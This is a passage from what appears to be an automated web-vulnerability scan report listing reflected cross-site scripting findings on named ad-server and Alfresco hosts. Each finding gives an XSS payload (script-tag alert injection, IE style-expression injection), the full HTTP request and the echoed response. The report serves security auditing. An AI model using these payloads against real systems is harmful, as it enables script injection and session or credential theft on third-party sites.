This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /st?ad_type=iframe&ad_size=728x90§ion=21783572d46"><script>alert(1)</script>3043d8a1f6 HTTP/1.1 Host: ad.thewheelof.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.golflink.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Content-Type: text/html; charset=utf-8 Date: Fri, 30 Sep 2011 13:13:29 GMT Content-Length: 735
2.9. http://ad.yieldmanager.com/st [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.yieldmanager.com
Path:
/st
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f889b"-alert(1)-"8f048c0717a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 118b7'style%3d'x%3aexpression(alert(1))'243fb785c1c was submitted in the REST URL parameter 4. This input was echoed as 118b7'style='x:expression(alert(1))'243fb785c1c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace118b7'style%3d'x%3aexpression(alert(1))'243fb785c1c/SpacesStore/2c45d5ca-e317-11dd-b30b-cbea775a248d/URUGUAY-thumbnail.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace118b7'style='x:expression(alert(1))'243fb785c1c/SpacesStore/2c45d5ca-e317-11dd-b30b-cbea775a248d/URUGUAY-thumbnail.jpg'> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 36c9e'style%3d'x%3aexpression(alert(1))'d320ff599fd was submitted in the REST URL parameter 5. This input was echoed as 36c9e'style='x:expression(alert(1))'d320ff599fd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace/SpacesStore36c9e'style%3d'x%3aexpression(alert(1))'d320ff599fd/2c45d5ca-e317-11dd-b30b-cbea775a248d/URUGUAY-thumbnail.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace/SpacesStore36c9e'style='x:expression(alert(1))'d320ff599fd/2c45d5ca-e317-11dd-b30b-cbea775a248d/URUGUAY-thumbnail.jpg'> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b0a25'style%3d'x%3aexpression(alert(1))'fc84f4357da was submitted in the REST URL parameter 6. This input was echoed as b0a25'style='x:expression(alert(1))'fc84f4357da in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace/SpacesStore/b0a25'style%3d'x%3aexpression(alert(1))'fc84f4357da/URUGUAY-thumbnail.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace/SpacesStore/b0a25'style='x:expression(alert(1))'fc84f4357da/URUGUAY-thumbnail.jpg'> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8d370'style%3d'x%3aexpression(alert(1))'0da7e8f344f was submitted in the REST URL parameter 4. This input was echoed as 8d370'style='x:expression(alert(1))'0da7e8f344f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace8d370'style%3d'x%3aexpression(alert(1))'0da7e8f344f/SpacesStore/52f86e83-c9fb-11dd-9053-776d2787bb9c/Caribbeanthumb1.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace8d370'style='x:expression(alert(1))'0da7e8f344f/SpacesStore/52f86e83-c9fb-11dd-9053-776d2787bb9c/Caribbeanthumb1.jpg'> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 28ddb'style%3d'x%3aexpression(alert(1))'506c04e974b was submitted in the REST URL parameter 5. This input was echoed as 28ddb'style='x:expression(alert(1))'506c04e974b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace/SpacesStore28ddb'style%3d'x%3aexpression(alert(1))'506c04e974b/52f86e83-c9fb-11dd-9053-776d2787bb9c/Caribbeanthumb1.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace/SpacesStore28ddb'style='x:expression(alert(1))'506c04e974b/52f86e83-c9fb-11dd-9053-776d2787bb9c/Caribbeanthumb1.jpg'> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 60cb3'style%3d'x%3aexpression(alert(1))'1fa8eeadee5 was submitted in the REST URL parameter 6. This input was echoed as 60cb3'style='x:expression(alert(1))'1fa8eeadee5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace/SpacesStore/52f86e83-c9fb-11dd-9053-776d2787bb9c60cb3'style%3d'x%3aexpression(alert(1))'1fa8eeadee5/Caribbeanthumb1.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace/SpacesStore/52f86e83-c9fb-11dd-9053-776d2787bb9c60cb3'style='x:expression(alert(1))'1fa8eeadee5/Caribbeanthumb1.jpg'> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c3962'style%3d'x%3aexpression(alert(1))'dc50aef9f43 was submitted in the REST URL parameter 4. This input was echoed as c3962'style='x:expression(alert(1))'dc50aef9f43 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspacec3962'style%3d'x%3aexpression(alert(1))'dc50aef9f43/SpacesStore/748e6e4f-9a83-479e-b964-923bd18e00af/maldonado-region-thumb.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspacec3962'style='x:expression(alert(1))'dc50aef9f43/SpacesStore/748e6e4f-9a83-479e-b964-923bd18e00af/maldonado-region-thumb.jpg'> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b61ae'style%3d'x%3aexpression(alert(1))'8390225a861 was submitted in the REST URL parameter 5. This input was echoed as b61ae'style='x:expression(alert(1))'8390225a861 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace/SpacesStoreb61ae'style%3d'x%3aexpression(alert(1))'8390225a861/748e6e4f-9a83-479e-b964-923bd18e00af/maldonado-region-thumb.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace/SpacesStoreb61ae'style='x:expression(alert(1))'8390225a861/748e6e4f-9a83-479e-b964-923bd18e00af/maldonado-region-thumb.jpg'> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 200a1'style%3d'x%3aexpression(alert(1))'ca6a8479f3c was submitted in the REST URL parameter 6. This input was echoed as 200a1'style='x:expression(alert(1))'ca6a8479f3c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace/SpacesStore/748e6e4f-9a83-479e-b964-923bd18e00af200a1'style%3d'x%3aexpression(alert(1))'ca6a8479f3c/maldonado-region-thumb.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace/SpacesStore/748e6e4f-9a83-479e-b964-923bd18e00af200a1'style='x:expression(alert(1))'ca6a8479f3c/maldonado-region-thumb.jpg'> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 504ac'style%3d'x%3aexpression(alert(1))'2bf498bd1e5 was submitted in the REST URL parameter 4. This input was echoed as 504ac'style='x:expression(alert(1))'2bf498bd1e5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace504ac'style%3d'x%3aexpression(alert(1))'2bf498bd1e5/SpacesStore/97c74228-cb60-11dd-95ac-937877940723/switzerlandthumb1.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace504ac'style='x:expression(alert(1))'2bf498bd1e5/SpacesStore/97c74228-cb60-11dd-95ac-937877940723/switzerlandthumb1.jpg'> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7b76c'style%3d'x%3aexpression(alert(1))'93374b37280 was submitted in the REST URL parameter 6. This input was echoed as 7b76c'style='x:expression(alert(1))'93374b37280 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace/SpacesStore/97c74228-cb60-11dd-95ac-9378779407237b76c'style%3d'x%3aexpression(alert(1))'93374b37280/switzerlandthumb1.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace/SpacesStore/97c74228-cb60-11dd-95ac-9378779407237b76c'style='x:expression(alert(1))'93374b37280/switzerlandthumb1.jpg'> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d1aa5'style%3d'x%3aexpression(alert(1))'7ce3adef153 was submitted in the REST URL parameter 4. This input was echoed as d1aa5'style='x:expression(alert(1))'7ce3adef153 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspaced1aa5'style%3d'x%3aexpression(alert(1))'7ce3adef153/SpacesStore/b348cfb5-72d5-4cca-b1ba-386470d0d8e1/BRITISH%20COLUMBIA%20THUMBNAIL%201.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspaced1aa5'style='x:expression(alert(1))'7ce3adef153/SpacesStore/b348cfb5-72d5-4cca-b1ba-386470d0d8e1/BRITISH%20COLUMBIA%20THUMBNAIL%201.jpg'> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 1c621'style%3d'x%3aexpression(alert(1))'1ccb0cabad3 was submitted in the REST URL parameter 5. This input was echoed as 1c621'style='x:expression(alert(1))'1ccb0cabad3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace/SpacesStore1c621'style%3d'x%3aexpression(alert(1))'1ccb0cabad3/b348cfb5-72d5-4cca-b1ba-386470d0d8e1/BRITISH%20COLUMBIA%20THUMBNAIL%201.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace/SpacesStore1c621'style='x:expression(alert(1))'1ccb0cabad3/b348cfb5-72d5-4cca-b1ba-386470d0d8e1/BRITISH%20COLUMBIA%20THUMBNAIL%201.jpg'> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 299d9'style%3d'x%3aexpression(alert(1))'30f45f865f5 was submitted in the REST URL parameter 6. This input was echoed as 299d9'style='x:expression(alert(1))'30f45f865f5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace/SpacesStore/b348cfb5-72d5-4cca-b1ba-386470d0d8e1299d9'style%3d'x%3aexpression(alert(1))'30f45f865f5/BRITISH%20COLUMBIA%20THUMBNAIL%201.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace/SpacesStore/b348cfb5-72d5-4cca-b1ba-386470d0d8e1299d9'style='x:expression(alert(1))'30f45f865f5/BRITISH%20COLUMBIA%20THUMBNAIL%201.jpg'> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6af06'style%3d'x%3aexpression(alert(1))'e292bf09ef4 was submitted in the REST URL parameter 4. This input was echoed as 6af06'style='x:expression(alert(1))'e292bf09ef4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace6af06'style%3d'x%3aexpression(alert(1))'e292bf09ef4/SpacesStore/c562b420-c9fa-11dd-9053-776d2787bb9c/Canada-thumb1.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace6af06'style='x:expression(alert(1))'e292bf09ef4/SpacesStore/c562b420-c9fa-11dd-9053-776d2787bb9c/Canada-thumb1.jpg'> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload be65d'style%3d'x%3aexpression(alert(1))'316d2ec362 was submitted in the REST URL parameter 5. This input was echoed as be65d'style='x:expression(alert(1))'316d2ec362 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace/SpacesStorebe65d'style%3d'x%3aexpression(alert(1))'316d2ec362/c562b420-c9fa-11dd-9053-776d2787bb9c/Canada-thumb1.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace/SpacesStorebe65d'style='x:expression(alert(1))'316d2ec362/c562b420-c9fa-11dd-9053-776d2787bb9c/Canada-thumb1.jpg'> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f268c'style%3d'x%3aexpression(alert(1))'d3936d59f09 was submitted in the REST URL parameter 6. This input was echoed as f268c'style='x:expression(alert(1))'d3936d59f09 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace/SpacesStore/c562b420-c9fa-11dd-9053-776d2787bb9cf268c'style%3d'x%3aexpression(alert(1))'d3936d59f09/Canada-thumb1.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace/SpacesStore/c562b420-c9fa-11dd-9053-776d2787bb9cf268c'style='x:expression(alert(1))'d3936d59f09/Canada-thumb1.jpg'> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7c537'style%3d'x%3aexpression(alert(1))'e367829ebed was submitted in the REST URL parameter 4. This input was echoed as 7c537'style='x:expression(alert(1))'e367829ebed in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /alfresco/d/d/workspace7c537'style%3d'x%3aexpression(alert(1))'e367829ebed/SpacesStore/e91137de-5ec9-482e-a154-b55e1f592129/st%20barts%20thumb.jpg?guest=true HTTP/1.1 Host: admin.paradizo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://paradizo.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>Alfresco Web Client - System Error</title> <link rel="sear ...[SNIP]... <a href='/alfresco/d/d/workspace7c537'style='x:expression(alert(1))'e367829ebed/SpacesStore/e91137de-5ec9-482e-a154-b55e1f592129/st%20barts%20thumb.jpg'> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d66f5'style%3d'x%3aexpression(alert(1))'245274776c4 was submitted in the REST URL parameter 5. This input was echoed as d66f5'style='x:expression(alert(1))'245274776c4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
